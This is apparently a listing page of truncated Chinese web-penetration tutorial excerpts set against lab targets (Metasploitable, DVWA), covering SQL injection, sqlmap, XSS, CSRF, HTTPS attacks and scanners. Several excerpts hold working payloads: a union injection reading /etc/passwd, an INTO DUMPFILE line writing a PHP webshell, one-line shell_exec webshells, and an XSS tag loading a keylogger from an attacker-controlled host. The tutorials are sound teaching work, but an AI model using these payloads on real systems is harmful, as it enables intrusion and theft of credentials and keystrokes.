SQL手工注入 靶机:metasploitable(低)  1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 #若不为root a.猜列名:   ' and coclumn is null--+     [并且列有一个字段为空,正常执行,若没有空字段,且该列存在,返回空白内容:若列不存在,则报错](可确定语句可插入数据库运行) 例如:' and asd is null--+      使用kali集成的字典…
SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器 用户登录判断 SELECT * FROM users WHERE user='uname' AND password='pass'SELECT * FROM users WHERE user='name' AND password='' OR…
扫描工具-Nikto #WEB渗透 靶机:metasploitable 靶场:DVWA[默认账号/密码:admin/password] #新手先将DVWA的安全性,调到最低,可容易发现漏洞 侦察[减少与目标系统交互] Httrack:将WEB可下载的页面下载到本机,再进行本地检查[kali下安装] ##可到此网站获取代理:hidemyass.com[免费代理需小心] 扫描工具-Nikto #基于WEB的扫描工具,基本都支持两种扫描模式.代理截断模式,主动扫描模式 手动扫描:作为用户操作发现页面存…
WEB渗透-skipfish Skipfish是一个命令行模式,以C语言编写的积极的Web应用程序的安全性侦察工具,没有代理模式. 它准备了一个互动为目标的网站的站点地图进行一个递归爬网和基于字典的探头. 优点:速度比较快[多路单线程,全异步网络I/O,消除内存管理和调度开销,支持启发式自动内容识别],误报相对低 使用方式:[https://my.oschina.net/u/995648/blog/114321] 基本命令使用方式 skipfish -o test http:1.1.1.1  …
手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/www/]之外的其他操作系统文件(如:/etc/passwd/).形成根源:目录权限限制不严格 #File include文件包含[1.include本地文件包含LFI:2.远程系统文件包含RFI(可传入木马)] 通常为如include函数,可以将web根目录以外的目录包含进来.根源:include…
手动漏洞挖掘 即扫描后,如何对发现的漏洞告警进行验证. #默认安装 流传linux操作系统比windows系统安全的说法,是因为windows系统默认安装后,会开放很多服务和无用的端口,而且未经过严格安全性的配置,经常有系统服务以最高权限运行. 漏洞类型--远程命令执行 1.phpMyadmin 安装在web服务器中的web接口,专门用来管理MySQL数据库.对于早期版本,安装后若是没有做安全配置,对敏感路径进行删除,则有可能留下安全隐患,其中最明显的为setup. a.探索PHP网站(可根据b…
SqlMap自动注入(一) sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞[动态页面中get/post参数.cookie.HTTP头].它由Python语言开发而成,因此运行需要安装python环境.但在kali中已经集成.其功能完善,有强大的引擎,适用几乎所有数据库,,可自动进行数据榨取,也可对检测与利用的自动化处理(数据库指纹.访问底层文件系统.执行操作系统命令),还可以做XSS漏洞检测[Windows SQLmap教程] 注意:sqlmap只是用来检…
手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘原则[会比自动扫描器发现的漏洞要多,要全面] 1.每一个变量都进行尝试 2.所有头[如:cookie中的变量] 3.逐个变量删除 #####################################################################################…
SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+   [写入一句话木马:INTO DUMPLING:MySQL函数,将输入下载在数据库中]…
webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用性较强 [但版本众多而乱,可能存在木马,据说的官网http://www.maicaidao.co/] 1.利用上传漏洞,先上传一句话木马[支持三种服务器端PHP.ASP.ASP.NET] 使用ssh连接metasploitable 创建包含木马代码的文件 2.连接相应的服务器端 添加服务器端URL [密码为一…
补充概念 AJAX(异步javascript和XML) Asynchronous javascript and xml 是一个概念,而非一种新的编程语言,是一组现有技术的组合 通过客户端脚本动态更新页面部分内容,而非整个页面 降低带宽使用,提高速度 提升用户体验 后台异步访问 AJAX组件 Javascript:AJAX的核心组件,使用XMLHTTPRequest对象接口向服务器发起请求,接受并处理服务器响应数据 Dynamic HTML (DHTML) 早于AJAX出现,通过javascrip…
HTTPS攻击 全站HTTPS正策划稿那位潮流趋势 如:百度.阿里 HTTPS的作用 CIA 解决的是信息传输过程中数据被篡改.窃取 [从中注入恶意代码,多为链路劫持] 加密:对称.非对称.单向 HTTPS攻击方法 降级攻击 解密攻击(明文.证书伪造) 协议漏洞(贵宾狗).https实现方法的漏洞(参考心脏出血漏洞原理).配置不严格 SSL(Secure socket layer) 保证网络通信安全的加密协议 TLS  它建立在SSL 3.0协议规范之上,是SSL 3.0的后续版本,可以理解为S…
CSRF CSRF原理:经常与XSS混淆. 从信任的角度进行区分:XSS:利用用户对站点的信任:CSRF:利用站点对已经身份认证的信任(有一定的信任)[默认情况:站点不信任客户端] 结合社工在身份认证会话过程中实现攻击 场景: 1.修改账号密码.个人信息(email.收货地址) 2.发送伪造的业务请求(网银.购物.投票) 3.关注他人社交账号.推送博文 4.在用户非自愿.不知情情况下提交请求 属于业务逻辑漏洞(所有请求都是正常的请求) 对关键操作(支付.提交订单等)缺少确认机制(如验证码) 自动…
扫描工具-Burpsuite 公共模块 0.Spider 爬网 手动爬网 先禁用截断功能 手动将页面中点击所有连接,对提交数据的地方,都进行提交[无论内容] 自动爬网[参数设置] 指定爬网路径,否则其他子目录也会被爬到[右键,Add Scope] #爬网参数设置 ###爬到页面中仍需要身份认证的页面,需重复输入,也可以忽略. #可导出 #################################################################### burpsuite支持两…
扫描工具-QWASP_ZAP 十大安全工具之一,集成性工具,功能完善,而且强大.既可做主动扫描,也可做截断代理.开源免费跨平台,简单易用,体验相对混乱,但在主动扫描方面,相对占优.[kali集成] ####建议选择第二项 ####注意检查更新 更新与插件安装 安装插件release和beta[release:成熟版  beta:测试版  alpha:不成熟版] 截断代理[结合手动爬网] 默认情况下,代理功能自启动 1.启动浏览器代理 2. 2.主动扫描 一.快速爬网扫描 二.直接扫描爬到的内容…
扫描工具-Burpsuite Burp Suite是Web应用程序测试的最佳工具之一,成为web安全工具中的瑞士军刀.其多种功能可以帮我们执行各种任务.请求的拦截和修改,扫描web应用程序漏洞,以暴力破解登陆表单,执行会话令牌等多种的随机性检查.[属于重量级工具,每个安全从业人员必须会的]但不是开源软件,有其免费版版,但在free版没有主动扫描功能,可用于手动挖掘.[有其破解版,适合个人使用]所有的工具都共享一个能处理并显示HTTP 消息,持久性,认证,代理,日志,警报的一个强大的可扩展的框架.…
扫描工具-Arachni Kali中集成旧的arachni的阉割版,所以需要重新安装[在某些方面有其独特性,但不算很强大,有命令行和web两种使用方式][匿名者推荐] apt-get update http://www.arachni-scanner.com/download/#Linux tar xvf arachni.tar.gz ./arachni_console          #进入命令行模式 ./arachni_web               #启用web服务,进入web操作模…
存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留言板等位置 *推荐使用burpsuite a.观察返回结果,是否原封不动地返回输入数据?是否有其他标签 js代码通过留言板存储在服务器中,所以每次点击留言板链接,都会弹出xss弹窗 b.测试加载攻击者控制的服务器中的js文件 #启动apache2[默认侦听80端口] a.js [盗取客户端cooki…
XSS 原则上:只要XSS漏洞存在,可以编写任何功能的js脚本 [反射型漏洞利用] 键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上 服务器:kali 客户端 启动apache2服务:service apache2 start 语法:<script src="http://192.168.1.127/keylogger.js"></script> keylogger.js document.onkeypress = function(evt) { ev…
XSS [推荐书籍:XSS跨站脚本攻击剖析与防御] xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户浏览器的控制.漏洞存在于服务器端,攻击对象为WEB客户端.[原理:为了使用户体验更好等因素,有部分代码会在浏览器中执行] [JavaScript详解]:与java语言无关:命名完全出于市场原因,是使用最广的客户端脚本语言 使用场景…
sqlmap自动注入 Enumeration[数据枚举] --privileges -U username[CU 当前账号] -D dvwa -T users -C user --columns  [指定数据库,表,列] --exclude-sysdbs [排除系统层的库] ******************************************************************************* #查具体数据 [前提:当前数据库用户有权读取informatio…
sqlmap自动注入 Optimization [优化性能参数,可提高效率] -o:指定前三个参数(--predict-output.--keep-alive.--null-connection) --predict-output: 根据检测方法,比岁返回值和统计表内容,不断缩小检测范围,提高检测效率 可检测的返回值:版本名.用户名.密码.Privaleges.role.数据库名称.表名.列名 与--threads参数不兼容 统计表:/usr/share/sqlmap/txt/common-ou…
Sqlmap自动注入(二) Request ################################################### #inurl:.php?id= 1. 数据段:--data Get/post都使用 [POST方法]Sqlmap -u "http://1.1.1.1/a.php" --data="user=1&pass=2" –f #sqlmap可自动识别"&" [GET方法]Sqlmap –u &…
WEB扫描工具-Vega 纯图形化界面,Java编写的开源web扫描器.两种工作模式:扫描模式和代理模式[主流扫描功能].用于爬站.处理表单,注入测试等.支持SSL:http://vega/ca.crt 专注于应用程序代码方面的漏洞 Vega #基于字典发现网站目录 代理模式 被动收集信息,结合手动爬站[即页面中能点击的链接全部点击一遍,能提交数据的地方,全部提交一遍] #连接到网站外面的链接可以暂时不用管 #设置外部代理服务器 #删除user-agent尾部的vega字样 #设置代理 1.se…
Http协议基础 Web技术发展[http://www.cnblogs.com/ProgrammerGE/articles/1824657.html] 静态WEB[网页] 动态WEB 属于一种应用程序 基于数据库 每个人看到的内容不同 根据用户输入,返回不同结果 WEB攻击类型有数百种 WEB攻击面 1.Network 2.OS 3.WEB Server 4.APP Server 5.Web Application 6.Database 7.Browser HTTP协议基础[http://www…
SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,SQL注入将无法依据报错信息判断注入语句的执行结果,即为盲注. 思路:既然无法基于报错信息判断结果,基于逻辑真假的不同结果来判断 a.  1' and 1=1--+ b.  1' and 1=2--+    [输入前真后假,无返回,页面没被执行] ###a与b比较,表明存在SQL注…
手动漏洞挖掘 文件上传漏洞[经典漏洞,本身为一个功能,根源:对上传文件的过滤机制不严谨] <?php echo shell_exec($_GET['cmd']);?> 直接上传webshell 修改文件类型上传webshell 文件头,扩展名 修改扩展名上传webshell 静态解析文件扩展名时可能无法执行 文件头让偶过滤上传webshell 上传目录权限 正常上传 当可以上传一个页面文件或一句话木马等时,则可验证存在该漏洞 #低安全级别 绕过:可截包重放,修改上传文件大小等限制 #中等级别…
SSL.TLS中间人攻击 SSL中间人攻击 攻击者位于客户端和服务器通信链路中 利用方法: ARP地址欺骗 修改DHCP服务器 (存在就近原则) 手动修改网关 修改DNS设置 修改HOSTS文件[高于DNS] ICMP.STP.OSPF 加密流量 中间人攻击前提 [以下某一条符合则可] 1.客户端已经信任伪造证书颁发机构(安装其根证书) 2.攻击者控制了合法证书颁发机构(控制CA服务器,为自己颁发证书) 3.客户端程序禁止了显示证书错误告警信息 (程序员个人能力有限) 4.攻击者已经控制客户端,…
终于到了SQL注入 最大的.最经典的.最常见的Web漏洞就是SQL注入漏洞 SQL注入的原理这里就不说了,百度 打开DVWA,SQL注入测试模块 测试单引号,发现出错,于是想到测试语句: 1' or '1'='1 成功: 测试是否存在漏洞: 1' and '1'='1  如果返回数据,但是1' and '1'='0 不返回数据,代表存在sql注入 或者简易一些:1' and '1 返回但是1' and '0不返回数据 进一步: 猜测当前SQL语句总共查询了多少字段: ' order by 50…
前两篇文章都是基于目标系统允许union,order by语句 并且可以读取infomation_schema元数据库 如果遇到的是安全方面做得很好的应用,进行了权限限制,那么我们有什么办法呢? 猜测当前表的列名(字段名): ' and [猜测字段名] is null -- 如果结果是:Unknown column '[猜测字段名]' in 'where clause' 说明这个字段不存在 如果结果是没有反应,则证明该字段存在: 比如:' and user is null -- 于是我就想到了:…